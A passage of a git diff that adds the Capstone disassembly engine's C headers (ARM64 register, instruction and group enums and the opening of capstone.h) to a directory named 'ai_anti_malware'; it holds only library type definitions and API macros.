ARM64_REG_Q19, + ARM64_REG_Q20, + ARM64_REG_Q21, + ARM64_REG_Q22, + ARM64_REG_Q23, + ARM64_REG_Q24, + ARM64_REG_Q25, + ARM64_REG_Q26, + ARM64_REG_Q27, + ARM64_REG_Q28, + ARM64_REG_Q29, + ARM64_REG_Q30, + ARM64_REG_Q31, + ARM64_REG_S0, + ARM64_REG_S1, + ARM64_REG_S2, + ARM64_REG_S3, + ARM64_REG_S4, + ARM64_REG_S5, + ARM64_REG_S6, + ARM64_REG_S7, + ARM64_REG_S8, + ARM64_REG_S9, + ARM64_REG_S10, + ARM64_REG_S11, + ARM64_REG_S12, + ARM64_REG_S13, + ARM64_REG_S14, + ARM64_REG_S15, + ARM64_REG_S16, + ARM64_REG_S17, + ARM64_REG_S18, + ARM64_REG_S19, + ARM64_REG_S20, + ARM64_REG_S21, + ARM64_REG_S22, + ARM64_REG_S23, + ARM64_REG_S24, + ARM64_REG_S25, + ARM64_REG_S26, + ARM64_REG_S27, + ARM64_REG_S28, + ARM64_REG_S29, + ARM64_REG_S30, + ARM64_REG_S31, + ARM64_REG_W0, + ARM64_REG_W1, + ARM64_REG_W2, + ARM64_REG_W3, + ARM64_REG_W4, + ARM64_REG_W5, + ARM64_REG_W6, + ARM64_REG_W7, + ARM64_REG_W8, + ARM64_REG_W9, + ARM64_REG_W10, + ARM64_REG_W11, + ARM64_REG_W12, + ARM64_REG_W13, + ARM64_REG_W14, + ARM64_REG_W15, + ARM64_REG_W16, + ARM64_REG_W17, + ARM64_REG_W18, + ARM64_REG_W19, + ARM64_REG_W20, + ARM64_REG_W21, + ARM64_REG_W22, + ARM64_REG_W23, + ARM64_REG_W24, + ARM64_REG_W25, + ARM64_REG_W26, + ARM64_REG_W27, + ARM64_REG_W28, + ARM64_REG_W29, + ARM64_REG_W30, + ARM64_REG_X0, + ARM64_REG_X1, + ARM64_REG_X2, + ARM64_REG_X3, + ARM64_REG_X4, + ARM64_REG_X5, + ARM64_REG_X6, + ARM64_REG_X7, + ARM64_REG_X8, + ARM64_REG_X9, + ARM64_REG_X10, + ARM64_REG_X11, + ARM64_REG_X12, + ARM64_REG_X13, + ARM64_REG_X14, + ARM64_REG_X15, + ARM64_REG_X16, + ARM64_REG_X17, + ARM64_REG_X18, + ARM64_REG_X19, + ARM64_REG_X20, + ARM64_REG_X21, + ARM64_REG_X22, + ARM64_REG_X23, + ARM64_REG_X24, + ARM64_REG_X25, + ARM64_REG_X26, + ARM64_REG_X27, + ARM64_REG_X28, + + ARM64_REG_V0, + ARM64_REG_V1, + ARM64_REG_V2, + ARM64_REG_V3, + ARM64_REG_V4, + ARM64_REG_V5, + ARM64_REG_V6, + ARM64_REG_V7, + ARM64_REG_V8, + ARM64_REG_V9, + ARM64_REG_V10, + ARM64_REG_V11, + ARM64_REG_V12, + ARM64_REG_V13, + ARM64_REG_V14, + ARM64_REG_V15, + ARM64_REG_V16, + ARM64_REG_V17, + ARM64_REG_V18, + ARM64_REG_V19, + ARM64_REG_V20, + ARM64_REG_V21, + ARM64_REG_V22, + ARM64_REG_V23, + ARM64_REG_V24, + ARM64_REG_V25, + ARM64_REG_V26, + ARM64_REG_V27, + ARM64_REG_V28, + ARM64_REG_V29, + ARM64_REG_V30, + ARM64_REG_V31, + + ARM64_REG_ENDING, // <-- mark the end of the list of registers + + // alias registers + + ARM64_REG_IP0 = ARM64_REG_X16, + ARM64_REG_IP1 = ARM64_REG_X17, + ARM64_REG_FP = ARM64_REG_X29, + ARM64_REG_LR = ARM64_REG_X30, +} arm64_reg; + +/// Instruction's operand referring to memory +/// This is associated with ARM64_OP_MEM operand type above +typedef struct arm64_op_mem { + arm64_reg base; ///< base register + arm64_reg index; ///< index register + int32_t disp; ///< displacement/offset value +} arm64_op_mem; + +/// Instruction operand +typedef struct cs_arm64_op { + int vector_index; ///< Vector Index for some vector operands (or -1 if irrelevant) + arm64_vas vas; ///< Vector Arrangement Specifier + arm64_vess vess; ///< Vector Element Size Specifier + struct { + arm64_shifter type; ///< shifter type of this operand + unsigned int value; ///< shifter value of this operand + } shift; + arm64_extender ext; ///< extender type of this operand + arm64_op_type type; ///< operand type + union { + arm64_reg reg; ///< register value for REG operand + int64_t imm; ///< immediate value, or index for C-IMM or IMM operand + double fp; ///< floating point value for FP operand + arm64_op_mem mem; ///< base/index/scale/disp value for MEM operand + arm64_pstate pstate; ///< PState field of MSR instruction. + unsigned int sys; ///< IC/DC/AT/TLBI operation (see arm64_ic_op, arm64_dc_op, arm64_at_op, arm64_tlbi_op) + arm64_prefetch_op prefetch; ///< PRFM operation. + arm64_barrier_op barrier; ///< Memory barrier operation (ISB/DMB/DSB instructions). + }; + + /// How is this operand accessed? (READ, WRITE or READ|WRITE) + /// This field is combined of cs_ac_type. + /// NOTE: this field is irrelevant if engine is compiled in DIET mode. + uint8_t access; +} cs_arm64_op; + +/// Instruction structure +typedef struct cs_arm64 { + arm64_cc cc; ///< conditional code for this insn + bool update_flags; ///< does this insn update flags? + bool writeback; ///< does this insn request writeback? 'True' means 'yes' + + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + + cs_arm64_op operands[8]; ///< operands for this instruction. +} cs_arm64; + +/// ARM64 instruction +typedef enum arm64_insn { + ARM64_INS_INVALID = 0, + + ARM64_INS_ABS, + ARM64_INS_ADC, + ARM64_INS_ADDHN, + ARM64_INS_ADDHN2, + ARM64_INS_ADDP, + ARM64_INS_ADD, + ARM64_INS_ADDV, + ARM64_INS_ADR, + ARM64_INS_ADRP, + ARM64_INS_AESD, + ARM64_INS_AESE, + ARM64_INS_AESIMC, + ARM64_INS_AESMC, + ARM64_INS_AND, + ARM64_INS_ASR, + ARM64_INS_B, + ARM64_INS_BFM, + ARM64_INS_BIC, + ARM64_INS_BIF, + ARM64_INS_BIT, + ARM64_INS_BL, + ARM64_INS_BLR, + ARM64_INS_BR, + ARM64_INS_BRK, + ARM64_INS_BSL, + ARM64_INS_CBNZ, + ARM64_INS_CBZ, + ARM64_INS_CCMN, + ARM64_INS_CCMP, + ARM64_INS_CLREX, + ARM64_INS_CLS, + ARM64_INS_CLZ, + ARM64_INS_CMEQ, + ARM64_INS_CMGE, + ARM64_INS_CMGT, + ARM64_INS_CMHI, + ARM64_INS_CMHS, + ARM64_INS_CMLE, + ARM64_INS_CMLT, + ARM64_INS_CMTST, + ARM64_INS_CNT, + ARM64_INS_MOV, + ARM64_INS_CRC32B, + ARM64_INS_CRC32CB, + ARM64_INS_CRC32CH, + ARM64_INS_CRC32CW, + ARM64_INS_CRC32CX, + ARM64_INS_CRC32H, + ARM64_INS_CRC32W, + ARM64_INS_CRC32X, + ARM64_INS_CSEL, + ARM64_INS_CSINC, + ARM64_INS_CSINV, + ARM64_INS_CSNEG, + ARM64_INS_DCPS1, + ARM64_INS_DCPS2, + ARM64_INS_DCPS3, + ARM64_INS_DMB, + ARM64_INS_DRPS, + ARM64_INS_DSB, + ARM64_INS_DUP, + ARM64_INS_EON, + ARM64_INS_EOR, + ARM64_INS_ERET, + ARM64_INS_EXTR, + ARM64_INS_EXT, + ARM64_INS_FABD, + ARM64_INS_FABS, + ARM64_INS_FACGE, + ARM64_INS_FACGT, + ARM64_INS_FADD, + ARM64_INS_FADDP, + ARM64_INS_FCCMP, + ARM64_INS_FCCMPE, + ARM64_INS_FCMEQ, + ARM64_INS_FCMGE, + ARM64_INS_FCMGT, + ARM64_INS_FCMLE, + ARM64_INS_FCMLT, + ARM64_INS_FCMP, + ARM64_INS_FCMPE, + ARM64_INS_FCSEL, + ARM64_INS_FCVTAS, + ARM64_INS_FCVTAU, + ARM64_INS_FCVT, + ARM64_INS_FCVTL, + ARM64_INS_FCVTL2, + ARM64_INS_FCVTMS, + ARM64_INS_FCVTMU, + ARM64_INS_FCVTNS, + ARM64_INS_FCVTNU, + ARM64_INS_FCVTN, + ARM64_INS_FCVTN2, + ARM64_INS_FCVTPS, + ARM64_INS_FCVTPU, + ARM64_INS_FCVTXN, + ARM64_INS_FCVTXN2, + ARM64_INS_FCVTZS, + ARM64_INS_FCVTZU, + ARM64_INS_FDIV, + ARM64_INS_FMADD, + ARM64_INS_FMAX, + ARM64_INS_FMAXNM, + ARM64_INS_FMAXNMP, + ARM64_INS_FMAXNMV, + ARM64_INS_FMAXP, + ARM64_INS_FMAXV, + ARM64_INS_FMIN, + ARM64_INS_FMINNM, + ARM64_INS_FMINNMP, + ARM64_INS_FMINNMV, + ARM64_INS_FMINP, + ARM64_INS_FMINV, + ARM64_INS_FMLA, + ARM64_INS_FMLS, + ARM64_INS_FMOV, + ARM64_INS_FMSUB, + ARM64_INS_FMUL, + ARM64_INS_FMULX, + ARM64_INS_FNEG, + ARM64_INS_FNMADD, + ARM64_INS_FNMSUB, + ARM64_INS_FNMUL, + ARM64_INS_FRECPE, + ARM64_INS_FRECPS, + ARM64_INS_FRECPX, + ARM64_INS_FRINTA, + ARM64_INS_FRINTI, + ARM64_INS_FRINTM, + ARM64_INS_FRINTN, + ARM64_INS_FRINTP, + ARM64_INS_FRINTX, + ARM64_INS_FRINTZ, + ARM64_INS_FRSQRTE, + ARM64_INS_FRSQRTS, + ARM64_INS_FSQRT, + ARM64_INS_FSUB, + ARM64_INS_HINT, + ARM64_INS_HLT, + ARM64_INS_HVC, + ARM64_INS_INS, + + ARM64_INS_ISB, + ARM64_INS_LD1, + ARM64_INS_LD1R, + ARM64_INS_LD2R, + ARM64_INS_LD2, + ARM64_INS_LD3R, + ARM64_INS_LD3, + ARM64_INS_LD4, + ARM64_INS_LD4R, + + ARM64_INS_LDARB, + ARM64_INS_LDARH, + ARM64_INS_LDAR, + ARM64_INS_LDAXP, + ARM64_INS_LDAXRB, + ARM64_INS_LDAXRH, + ARM64_INS_LDAXR, + ARM64_INS_LDNP, + ARM64_INS_LDP, + ARM64_INS_LDPSW, + ARM64_INS_LDRB, + ARM64_INS_LDR, + ARM64_INS_LDRH, + ARM64_INS_LDRSB, + ARM64_INS_LDRSH, + ARM64_INS_LDRSW, + ARM64_INS_LDTRB, + ARM64_INS_LDTRH, + ARM64_INS_LDTRSB, + + ARM64_INS_LDTRSH, + ARM64_INS_LDTRSW, + ARM64_INS_LDTR, + ARM64_INS_LDURB, + ARM64_INS_LDUR, + ARM64_INS_LDURH, + ARM64_INS_LDURSB, + ARM64_INS_LDURSH, + ARM64_INS_LDURSW, + ARM64_INS_LDXP, + ARM64_INS_LDXRB, + ARM64_INS_LDXRH, + ARM64_INS_LDXR, + ARM64_INS_LSL, + ARM64_INS_LSR, + ARM64_INS_MADD, + ARM64_INS_MLA, + ARM64_INS_MLS, + ARM64_INS_MOVI, + ARM64_INS_MOVK, + ARM64_INS_MOVN, + ARM64_INS_MOVZ, + ARM64_INS_MRS, + ARM64_INS_MSR, + ARM64_INS_MSUB, + ARM64_INS_MUL, + ARM64_INS_MVNI, + ARM64_INS_NEG, + ARM64_INS_NOT, + ARM64_INS_ORN, + ARM64_INS_ORR, + ARM64_INS_PMULL2, + ARM64_INS_PMULL, + ARM64_INS_PMUL, + ARM64_INS_PRFM, + ARM64_INS_PRFUM, + ARM64_INS_RADDHN, + ARM64_INS_RADDHN2, + ARM64_INS_RBIT, + ARM64_INS_RET, + ARM64_INS_REV16, + ARM64_INS_REV32, + ARM64_INS_REV64, + ARM64_INS_REV, + ARM64_INS_ROR, + ARM64_INS_RSHRN2, + ARM64_INS_RSHRN, + ARM64_INS_RSUBHN, + ARM64_INS_RSUBHN2, + ARM64_INS_SABAL2, + ARM64_INS_SABAL, + + ARM64_INS_SABA, + ARM64_INS_SABDL2, + ARM64_INS_SABDL, + ARM64_INS_SABD, + ARM64_INS_SADALP, + ARM64_INS_SADDLP, + ARM64_INS_SADDLV, + ARM64_INS_SADDL2, + ARM64_INS_SADDL, + ARM64_INS_SADDW2, + ARM64_INS_SADDW, + ARM64_INS_SBC, + ARM64_INS_SBFM, + ARM64_INS_SCVTF, + ARM64_INS_SDIV, + ARM64_INS_SHA1C, + ARM64_INS_SHA1H, + ARM64_INS_SHA1M, + ARM64_INS_SHA1P, + ARM64_INS_SHA1SU0, + ARM64_INS_SHA1SU1, + ARM64_INS_SHA256H2, + ARM64_INS_SHA256H, + ARM64_INS_SHA256SU0, + ARM64_INS_SHA256SU1, + ARM64_INS_SHADD, + ARM64_INS_SHLL2, + ARM64_INS_SHLL, + ARM64_INS_SHL, + ARM64_INS_SHRN2, + ARM64_INS_SHRN, + ARM64_INS_SHSUB, + ARM64_INS_SLI, + ARM64_INS_SMADDL, + ARM64_INS_SMAXP, + ARM64_INS_SMAXV, + ARM64_INS_SMAX, + ARM64_INS_SMC, + ARM64_INS_SMINP, + ARM64_INS_SMINV, + ARM64_INS_SMIN, + ARM64_INS_SMLAL2, + ARM64_INS_SMLAL, + ARM64_INS_SMLSL2, + ARM64_INS_SMLSL, + ARM64_INS_SMOV, + ARM64_INS_SMSUBL, + ARM64_INS_SMULH, + ARM64_INS_SMULL2, + ARM64_INS_SMULL, + ARM64_INS_SQABS, + ARM64_INS_SQADD, + ARM64_INS_SQDMLAL, + ARM64_INS_SQDMLAL2, + ARM64_INS_SQDMLSL, + ARM64_INS_SQDMLSL2, + ARM64_INS_SQDMULH, + ARM64_INS_SQDMULL, + ARM64_INS_SQDMULL2, + ARM64_INS_SQNEG, + ARM64_INS_SQRDMULH, + ARM64_INS_SQRSHL, + ARM64_INS_SQRSHRN, + ARM64_INS_SQRSHRN2, + ARM64_INS_SQRSHRUN, + ARM64_INS_SQRSHRUN2, + ARM64_INS_SQSHLU, + ARM64_INS_SQSHL, + ARM64_INS_SQSHRN, + ARM64_INS_SQSHRN2, + ARM64_INS_SQSHRUN, + ARM64_INS_SQSHRUN2, + ARM64_INS_SQSUB, + ARM64_INS_SQXTN2, + ARM64_INS_SQXTN, + ARM64_INS_SQXTUN2, + ARM64_INS_SQXTUN, + ARM64_INS_SRHADD, + ARM64_INS_SRI, + ARM64_INS_SRSHL, + ARM64_INS_SRSHR, + ARM64_INS_SRSRA, + ARM64_INS_SSHLL2, + ARM64_INS_SSHLL, + ARM64_INS_SSHL, + ARM64_INS_SSHR, + ARM64_INS_SSRA, + ARM64_INS_SSUBL2, + ARM64_INS_SSUBL, + ARM64_INS_SSUBW2, + ARM64_INS_SSUBW, + ARM64_INS_ST1, + ARM64_INS_ST2, + ARM64_INS_ST3, + ARM64_INS_ST4, + ARM64_INS_STLRB, + ARM64_INS_STLRH, + ARM64_INS_STLR, + ARM64_INS_STLXP, + ARM64_INS_STLXRB, + ARM64_INS_STLXRH, + ARM64_INS_STLXR, + ARM64_INS_STNP, + ARM64_INS_STP, + ARM64_INS_STRB, + ARM64_INS_STR, + ARM64_INS_STRH, + ARM64_INS_STTRB, + ARM64_INS_STTRH, + ARM64_INS_STTR, + ARM64_INS_STURB, + ARM64_INS_STUR, + ARM64_INS_STURH, + ARM64_INS_STXP, + ARM64_INS_STXRB, + ARM64_INS_STXRH, + ARM64_INS_STXR, + ARM64_INS_SUBHN, + ARM64_INS_SUBHN2, + ARM64_INS_SUB, + ARM64_INS_SUQADD, + ARM64_INS_SVC, + ARM64_INS_SYSL, + ARM64_INS_SYS, + ARM64_INS_TBL, + ARM64_INS_TBNZ, + ARM64_INS_TBX, + ARM64_INS_TBZ, + ARM64_INS_TRN1, + ARM64_INS_TRN2, + ARM64_INS_UABAL2, + ARM64_INS_UABAL, + ARM64_INS_UABA, + ARM64_INS_UABDL2, + ARM64_INS_UABDL, + ARM64_INS_UABD, + ARM64_INS_UADALP, + ARM64_INS_UADDLP, + ARM64_INS_UADDLV, + ARM64_INS_UADDL2, + ARM64_INS_UADDL, + ARM64_INS_UADDW2, + ARM64_INS_UADDW, + ARM64_INS_UBFM, + ARM64_INS_UCVTF, + ARM64_INS_UDIV, + ARM64_INS_UHADD, + ARM64_INS_UHSUB, + ARM64_INS_UMADDL, + ARM64_INS_UMAXP, + ARM64_INS_UMAXV, + ARM64_INS_UMAX, + ARM64_INS_UMINP, + ARM64_INS_UMINV, + ARM64_INS_UMIN, + ARM64_INS_UMLAL2, + ARM64_INS_UMLAL, + ARM64_INS_UMLSL2, + ARM64_INS_UMLSL, + ARM64_INS_UMOV, + ARM64_INS_UMSUBL, + ARM64_INS_UMULH, + ARM64_INS_UMULL2, + ARM64_INS_UMULL, + ARM64_INS_UQADD, + ARM64_INS_UQRSHL, + ARM64_INS_UQRSHRN, + ARM64_INS_UQRSHRN2, + ARM64_INS_UQSHL, + ARM64_INS_UQSHRN, + ARM64_INS_UQSHRN2, + ARM64_INS_UQSUB, + ARM64_INS_UQXTN2, + ARM64_INS_UQXTN, + ARM64_INS_URECPE, + ARM64_INS_URHADD, + ARM64_INS_URSHL, + ARM64_INS_URSHR, + ARM64_INS_URSQRTE, + ARM64_INS_URSRA, + ARM64_INS_USHLL2, + ARM64_INS_USHLL, + ARM64_INS_USHL, + ARM64_INS_USHR, + ARM64_INS_USQADD, + ARM64_INS_USRA, + ARM64_INS_USUBL2, + ARM64_INS_USUBL, + ARM64_INS_USUBW2, + ARM64_INS_USUBW, + ARM64_INS_UZP1, + ARM64_INS_UZP2, + ARM64_INS_XTN2, + ARM64_INS_XTN, + ARM64_INS_ZIP1, + ARM64_INS_ZIP2, + + // alias insn + ARM64_INS_MNEG, + ARM64_INS_UMNEGL, + ARM64_INS_SMNEGL, + ARM64_INS_NOP, + ARM64_INS_YIELD, + ARM64_INS_WFE, + ARM64_INS_WFI, + ARM64_INS_SEV, + ARM64_INS_SEVL, + ARM64_INS_NGC, + ARM64_INS_SBFIZ, + ARM64_INS_UBFIZ, + ARM64_INS_SBFX, + ARM64_INS_UBFX, + ARM64_INS_BFI, + ARM64_INS_BFXIL, + ARM64_INS_CMN, + ARM64_INS_MVN, + ARM64_INS_TST, + ARM64_INS_CSET, + ARM64_INS_CINC, + ARM64_INS_CSETM, + ARM64_INS_CINV, + ARM64_INS_CNEG, + ARM64_INS_SXTB, + ARM64_INS_SXTH, + ARM64_INS_SXTW, + ARM64_INS_CMP, + ARM64_INS_UXTB, + ARM64_INS_UXTH, + ARM64_INS_UXTW, + ARM64_INS_IC, + ARM64_INS_DC, + ARM64_INS_AT, + ARM64_INS_TLBI, + + ARM64_INS_NEGS, + ARM64_INS_NGCS, + + ARM64_INS_ENDING, // <-- mark the end of the list of insn +} arm64_insn; + +/// Group of ARM64 instructions +typedef enum arm64_insn_group { + ARM64_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + ARM64_GRP_JUMP, ///< = CS_GRP_JUMP + ARM64_GRP_CALL, + ARM64_GRP_RET, + ARM64_GRP_INT, + ARM64_GRP_PRIVILEGE = 6, ///< = CS_GRP_PRIVILEGE + ARM64_GRP_BRANCH_RELATIVE, ///< = CS_GRP_BRANCH_RELATIVE + + // Architecture-specific groups + ARM64_GRP_CRYPTO = 128, + ARM64_GRP_FPARMV8, + ARM64_GRP_NEON, + ARM64_GRP_CRC, + + ARM64_GRP_ENDING, // <-- mark the end of the list of groups +} arm64_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/capstone.h b/ai_anti_malware/capstone/include/capstone/capstone.h new file mode 100644 index 0000000..23c13d5 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/capstone.h @@ -0,0 +1,766 @@ +#ifndef CAPSTONE_ENGINE_H +#define CAPSTONE_ENGINE_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2016 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#if defined(CAPSTONE_HAS_OSXKERNEL) +#include +#else +#include +#include +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#pragma warning(disable:4100) +#define CAPSTONE_API __cdecl +#ifdef CAPSTONE_SHARED +#define CAPSTONE_EXPORT __declspec(dllexport) +#else // defined(CAPSTONE_STATIC) +#define CAPSTONE_EXPORT +#endif +#else +#define CAPSTONE_API +#if defined(__GNUC__) && !defined(CAPSTONE_STATIC) +#define CAPSTONE_EXPORT __attribute__((visibility("default"))) +#else // defined(CAPSTONE_STATIC) +#define CAPSTONE_EXPORT +#endif +#endif + +#ifdef __GNUC__ +#define CAPSTONE_DEPRECATED __attribute__((deprecated)) +#elif defined(_MSC_VER) +#define CAPSTONE_DEPRECATED __declspec(deprecated) +#else +#pragma message("WARNING: You need to implement CAPSTONE_DEPRECATED for this compiler") +#define CAPSTONE_DEPRECATED +#endif + +// Capstone API version +#define CS_API_MAJOR 4 +#define CS_API_MINOR 0 + +// Version for bleeding edge code of the Github's "next" branch. +// Use this if you want the absolutely latest development code. +// This version number will be bumped up whenever we have a new major change. +#define CS_NEXT_VERSION 5 + +// Capstone package version +#define CS_VERSION_MAJOR CS_API_MAJOR +#define CS_VERSION_MINOR CS_API_MINOR +#define CS_VERSION_EXTRA 2 + +/// Macro to create combined version which can be compared to +/// result of cs_version() API. +#define CS_MAKE_VERSION(major, minor) ((major << 8) + minor) + +/// Maximum size of an instruction mnemonic string. +#define CS_MNEMONIC_SIZE 32 + +// Handle using with all API +typedef size_t csh; + +/// Architecture type +typedef enum cs_arch { + CS_ARCH_ARM = 0, ///< ARM architecture (including Thumb, Thumb-2) + CS_ARCH_ARM64, ///< ARM-64, also called AArch64 + CS_ARCH_MIPS, ///< Mips architecture + CS_ARCH_X86, ///< X86 architecture (including x86 & x86-64) + CS_ARCH_PPC, ///< PowerPC architecture + CS_ARCH_SPARC, ///< Sparc architecture + CS_ARCH_SYSZ, ///< SystemZ architecture + CS_ARCH_XCORE, ///< XCore architecture + CS_ARCH_M68K, ///< 68K architecture + CS_ARCH_TMS320C64X, ///< TMS320C64x architecture + CS_ARCH_M680X, ///< 680X architecture + CS_ARCH_EVM, ///< Ethereum architecture + CS_ARCH_MAX, + CS_ARCH_ALL = 0xFFFF, // All architectures - for cs_support() +} cs_arch; + +// Support value to verify diet mode of the engine. +// If cs_support(CS_SUPPORT_DIET) return True, the engine was compiled +// in diet mode. +#define CS_SUPPORT_DIET (CS_ARCH_ALL + 1) + +// Support value to verify X86 reduce mode of the engine. +// If cs_support(CS_SUPPORT_X86_REDUCE) return True, the engine was compiled +// in X86 reduce mode. +#define CS_SUPPORT_X86_REDUCE (CS_ARCH_ALL + 2) + +/// Mode type +typedef enum cs_mode { + CS_MODE_LITTLE_ENDIAN = 0, ///< little-endian mode (default mode) + CS_MODE_ARM = 0, ///< 32-bit ARM + CS_MODE_16 = 1 << 1, ///< 16-bit mode (X86) + CS_MODE_32 = 1 << 2, ///< 32-bit mode (X86) + CS_MODE_64 = 1 << 3, ///< 64-bit mode (X86, PPC) + CS_MODE_THUMB = 1 << 4, ///< ARM's Thumb mode, including Thumb-2 + CS_MODE_MCLASS = 1 << 5, ///< ARM's Cortex-M series + CS_MODE_V8 = 1 << 6, ///< ARMv8 A32 encodings for ARM + CS_MODE_MICRO = 1 << 4, ///< MicroMips mode (MIPS) + CS_MODE_MIPS3 = 1 << 5, ///< Mips III ISA + CS_MODE_MIPS32R6 = 1 << 6, ///< Mips32r6 ISA + CS_MODE_MIPS2 = 1 << 7, ///< Mips II ISA + CS_MODE_V9 = 1 << 4, ///< SparcV9 mode (Sparc) + CS_MODE_QPX = 1 << 4, ///< Quad Processing eXtensions mode (PPC) + CS_MODE_M68K_000 = 1 << 1, ///< M68K 68000 mode + CS_MODE_M68K_010 = 1 << 2, ///< M68K 68010 mode + CS_MODE_M68K_020 = 1 << 3, ///< M68K 68020 mode + CS_MODE_M68K_030 = 1 << 4, ///< M68K 68030 mode + CS_MODE_M68K_040 = 1 << 5, ///< M68K 68040 mode + CS_MODE_M68K_060 = 1 << 6, ///< M68K 68060 mode + CS_MODE_BIG_ENDIAN = 1 << 31, ///< big-endian mode + CS_MODE_MIPS32 = CS_MODE_32, ///< Mips32 ISA (Mips) + CS_MODE_MIPS64 = CS_MODE_64, ///< Mips64 ISA (Mips) + CS_MODE_M680X_6301 = 1 << 1, ///< M680X Hitachi 6301,6303 mode + CS_MODE_M680X_6309 = 1 << 2, ///< M680X Hitachi 6309 mode + CS_MODE_M680X_6800 = 1 << 3, ///< M680X Motorola 6800,6802 mode + CS_MODE_M680X_6801 = 1 << 4, ///< M680X Motorola 6801,6803 mode + CS_MODE_M680X_6805 = 1 << 5, ///< M680X Motorola/Freescale 6805 mode + CS_MODE_M680X_6808 = 1 << 6, ///< M680X Motorola/Freescale/NXP 68HC08 mode + CS_MODE_M680X_6809 = 1 << 7, ///< M680X Motorola 6809 mode + CS_MODE_M680X_6811 = 1 << 8, ///< M680X Motorola/Freescale/NXP 68HC11 mode + CS_MODE_M680X_CPU12 = 1 << 9, ///< M680X Motorola/Freescale/NXP CPU12 + ///< used on M68HC12/HCS12 + CS_MODE_M680X_HCS08 = 1 << 10, ///< M680X Freescale/NXP HCS08 mode +} cs_mode; + +typedef void* (CAPSTONE_API *cs_malloc_t)(size_t size); +typedef void* (CAPSTONE_API *cs_calloc_t)(size_t nmemb, size_t size); +typedef void* (CAPSTONE_API *cs_realloc_t)(void *ptr, size_t size); +typedef void (CAPSTONE_API *cs_free_t)(void *ptr); +typedef int (CAPSTONE_API *cs_vsnprintf_t)(char *str, size_t size, const char *format, va_list ap); + + +/// User-defined dynamic memory related functions: malloc/calloc/realloc/free/vsnprintf() +/// By default, Capstone uses system's malloc(), calloc(), realloc(), free() & vsnprintf(). +typedef struct cs_opt_mem { + cs_malloc_t malloc; + cs_calloc_t calloc; + cs_realloc_t realloc; + cs_free_t free; + cs_vsnprintf_t vsnprintf; +} cs_opt_mem; + +/// Customize mnemonic for instructions with alternative name. +/// To reset existing customized instruction to its default mnemonic, +/// call cs_option(CS_OPT_MNEMONIC) again with the same @id and NULL value +/// for @mnemonic. +typedef struct cs_opt_mnem { + /// ID of instruction to be customized. + unsigned int id; + /// Customized instruction mnemonic. + const char *mnemonic; +} cs_opt_mnem; + +/// Runtime option for the disassembled engine +typedef enum cs_opt_type { + CS_OPT_INVALID = 0, ///< No option specified + CS_OPT_SYNTAX, ///< Assembly output syntax + CS_OPT_DETAIL, ///< Break down instruction structure into details + CS_OPT_MODE, ///< Change engine's mode at run-time + CS_OPT_MEM, ///< User-defined dynamic memory related functions + CS_OPT_SKIPDATA, ///< Skip data when disassembling. Then engine is in SKIPDATA mode. + CS_OPT_SKIPDATA_SETUP, ///< Setup user-defined function for SKIPDATA option + CS_OPT_MNEMONIC, ///< Customize instruction mnemonic + CS_OPT_UNSIGNED, ///< print immediate operands in unsigned form +} cs_opt_type; + +/// Runtime option value (associated with option type above) +typedef enum cs_opt_value { + CS_OPT_OFF = 0, ///< Turn OFF an option - default for CS_OPT_DETAIL, CS_OPT_SKIPDATA, CS_OPT_UNSIGNED. + CS_OPT_ON = 3, ///< Turn ON an option (CS_OPT_DETAIL, CS_OPT_SKIPDATA). + CS_OPT_SYNTAX_DEFAULT = 0, ///< Default asm syntax (CS_OPT_SYNTAX). + CS_OPT_SYNTAX_INTEL, ///< X86 Intel asm syntax - default on X86 (CS_OPT_SYNTAX). + CS_OPT_SYNTAX_ATT, ///< X86 ATT asm syntax (CS_OPT_SYNTAX). + CS_OPT_SYNTAX_NOREGNAME, ///< Prints register name with only number (CS_OPT_SYNTAX) + CS_OPT_SYNTAX_MASM, ///< X86 Intel Masm syntax (CS_OPT_SYNTAX). +} cs_opt_value; + +/// Common instruction operand types - to be consistent across all architectures. +typedef enum cs_op_type { + CS_OP_INVALID = 0, ///< uninitialized/invalid operand. + CS_OP_REG, ///< Register operand. + CS_OP_IMM, ///< Immediate operand. + CS_OP_MEM, ///< Memory operand. + CS_OP_FP, ///< Floating-Point operand. +} cs_op_type; + +/// Common instruction operand access types - to be consistent across all architectures. +/// It is possible to combine access types, for example: CS_AC_READ | CS_AC_WRITE +typedef enum cs_ac_type { + CS_AC_INVALID = 0, ///< Uninitialized/invalid access type. + CS_AC_READ = 1 << 0, ///< Operand read from memory or register. + CS_AC_WRITE = 1 << 1, ///< Operand write to memory or register. +} cs_ac_type; + +/// Common instruction groups - to be consistent across all architectures. +typedef enum cs_group_type { + CS_GRP_INVALID = 0, ///< uninitialized/invalid group. + CS_GRP_JUMP, ///< all jump instructions (conditional+direct+indirect jumps) + CS_GRP_CALL, ///< all call instructions + CS_GRP_RET, ///< all return instructions + CS_GRP_INT, ///< all interrupt instructions (int+syscall) + CS_GRP_IRET, ///< all interrupt return instructions + CS_GRP_PRIVILEGE, ///< all privileged instructions + CS_GRP_BRANCH_RELATIVE, ///< all relative branching instructions +} cs_group_type; + +/** + User-defined callback function for SKIPDATA option. + See tests/test_skipdata.c for sample code demonstrating this API. + + @code: the input buffer containing code to be disassembled. + This is the same buffer passed to cs_disasm(). + @code_size: size (in bytes) of the above @code buffer. + @offset: the position of the currently-examining byte in the input + buffer @code mentioned above. + @user_data: user-data passed to cs_option() via @user_data field in + cs_opt_skipdata struct below. + + @return: return number of bytes to skip, or 0 to immediately stop disassembling. +*/ +typedef size_t (CAPSTONE_API *cs_skipdata_cb_t)(const uint8_t *code, size_t code_size, size_t offset, void *user_data); + +/// User-customized setup for SKIPDATA option +typedef struct cs_opt_skipdata { + /// Capstone considers data to skip as special "instructions". + /// User can specify the string for this instruction's "mnemonic" here. + /// By default (if @mnemonic is NULL), Capstone use ".byte". + const char *mnemonic; + + /// User-defined callback function to be called when Capstone hits data. + /// If the returned value from this callback is positive (>0), Capstone + /// will skip exactly that number of bytes & continue. Otherwise, if + /// the callback returns 0, Capstone stops disassembling and returns + /// immediately from cs_disasm() + /// NOTE: if this callback pointer is NULL, Capstone would skip a number + /// of bytes depending on architectures, as following: + /// Arm: 2 bytes 